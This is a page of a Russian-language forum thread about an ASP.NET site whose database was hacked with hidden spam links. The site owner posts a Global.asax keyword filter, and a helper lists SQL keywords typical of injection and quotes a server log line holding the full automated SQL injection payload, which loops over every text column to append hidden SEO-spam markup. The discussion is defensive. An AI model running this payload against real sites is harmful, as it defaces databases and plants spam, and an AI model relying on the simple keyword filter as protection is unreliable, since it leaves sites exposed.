Здравствуйте! Сегодня: Чт, 29 Окт 2020, Ваш IP: 34.236.245.255 Войти через loginza
 
Вход | Регистрация | Забыли пароль?
Мой Kbyte.Ru
> Список форумов Kbyte.Ru - - Базы данных
+ Создать новую тему Страница: 1 · 2
Тема: Поиск текста по шаблону · +  +  дата добавления: 11.12.2014 / 20:29
Автор темы:
anka_x
anka_x
тем: 8 / ответов: 61 / благодарностей: 0 / репутация: 4
ответов: 61
создал(а) тем: 8


Добрый день.

Случилась беда, взломали базу и добавили во все места вредные дополнения. Все вставки начинаются с кода "<div style="display:none">" и заканчиваются "</div>". Между тегами содержатся различные фрагменты текста и ссылки. Хотелось бы программно выискивать эти куски и уничтожать. Помогите составить шаблон для поиска. Спасибо.
Технологии: ASP .NET
 
Ответ # 21 # · +  +  дата добавления: 24.02.2015 / 18:32
Автор ответа:
anka_x
anka_x
тем: 8 / ответов: 61 / благодарностей: 0 / репутация: 4
ответов: 61
создал(а) тем: 8


Спасибо, Алексей!
Вставил в Global.asax код:

Sub Application_BeginRequest()
	If Request.QueryString.ToString().ToLower().IndexOf("update") <> -1 Then
		Response.StatusCode = 403
		Response.End()
	End If
End Sub
Sub Application_OnStart
End Sub
Sub Session_OnStart
End Sub
Sub Session_OnEnd
End Sub
Sub Application_OnEnd
End Sub


База этого сайта взламывалась пару раз за сутки. Посмотрю, как будет.
 
Ответ # 22 # · +  +  дата добавления: 24.02.2015 / 18:49
Автор ответа:
anka_x
anka_x
тем: 8 / ответов: 61 / благодарностей: 0 / репутация: 4
ответов: 61
создал(а) тем: 8


Алексей, а какие еще слова, характерные для инъекций, используются в запросе? Дело в том, что "update" я сам иногда использую. Смотрю в логи и не уверен где начинается и заканчивается запрос... :)
 
Ответ # 23 # · +  +  дата добавления: 24.02.2015 / 19:36
Автор ответа:
Алексей Немиро
Алексей Немиро
тем: 534 / ответов: 5130 / благодарностей: 325 / репутация: 211
Чашка Kbyte.Ru>>
Url: aleksey.nemiro.ru
Icq: 261779681
Skype: alekseynemiro
ответов: 5130
создал(а) тем: 534


Алексей, а какие еще слова, характерные для инъекций, используются в запросе? Дело в том, что "update" я сам иногда использую. Смотрю в логи и не уверен где начинается и заканчивается запрос... :)
Наличие любых инструкций SQL.

Для автоматической инъекции обязательно будет работа с циклами (WHILE) или использование курсоров: CURSOR.
Декларирование переменных: declare, как правило типа varchar.
Доступ к описанию структуры базы: sysobjects и sysindexes.

При ручной инъекции может быть все что угодно. Даже DROP DATABASE имяБазы.

В запросе с инъекций обязательно будет одинарная кавычка (').
 
Ответ # 24 # · +  +  дата добавления: 24.02.2015 / 19:43
Автор ответа:
Алексей Немиро
Алексей Немиро
тем: 534 / ответов: 5130 / благодарностей: 325 / репутация: 211
Чашка Kbyte.Ru>>
Url: aleksey.nemiro.ru
Icq: 261779681
Skype: alekseynemiro
ответов: 5130
создал(а) тем: 534


2015-02-23 17:25:33 GET /info.aspx infoid=20';declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2B
TABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%20
0%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''why%20men%20cheat%20on%20beautiful%20women%20''
%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''blog.armanda.com''%2Bchar(47)%2B''page''%2Bchar(47)%2B
''women-who-cheat-with-married-men.aspx%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''husbands%20that%20cheat''
%20when%201%20then%20''click%20here''%20else%20''married%20cheaters''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''
%20click%20here''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20
JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0
%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);
open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;
close%20@c-- 202.6.132.70 HTTP/1.0 Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/24.0';declare+@c+cursor;
declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=
['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''<div+style="display:none">why+men+cheat+on+beautiful+
women+<a+href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">''+case+ABS(CHECKSUM(NewId()))%3
+when+0+then+''husbands+that+cheat''+when+1+then+''click+here''+else+''married+cheaters''+end++''</a>+click+here
</div>''+else+''''+end'+FROM+sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+
INFORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+
and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;
while+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- http://google.com';declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''<div+style="display:none">why+men+cheat+on+beautiful+women+<a+href="http://blog.armanda.com/page/women-who-cheat-with-married-men.aspx">''+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''husbands+that+cheat''
+when+1+then+''click+here''+else+''married+cheaters''+end++''</a>+click+here</div>''+else+''''+end'+FROM+
sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEMA.COLUMNS+ON+
o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+
CHARACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_STATUS=0+begin+exec+(@d);
fetch+next+from+@c+into+@d;end;close+@c--
www.site.ru 302 458 3361 31

Внедрение на странице info.aspx через параметр infoid.
 
Ответ # 25 # · +  +  дата добавления: 25.02.2015 / 00:53
Автор ответа:
anka_x
anka_x
тем: 8 / ответов: 61 / благодарностей: 0 / репутация: 4
ответов: 61
создал(а) тем: 8


Спасибо, Алексей. Попробую защищаться через Global.asax. Постараюсь вычистить базы и буду наблюдать.
Спасибо!
 
Страница: 1 · 2 + Создать новую тему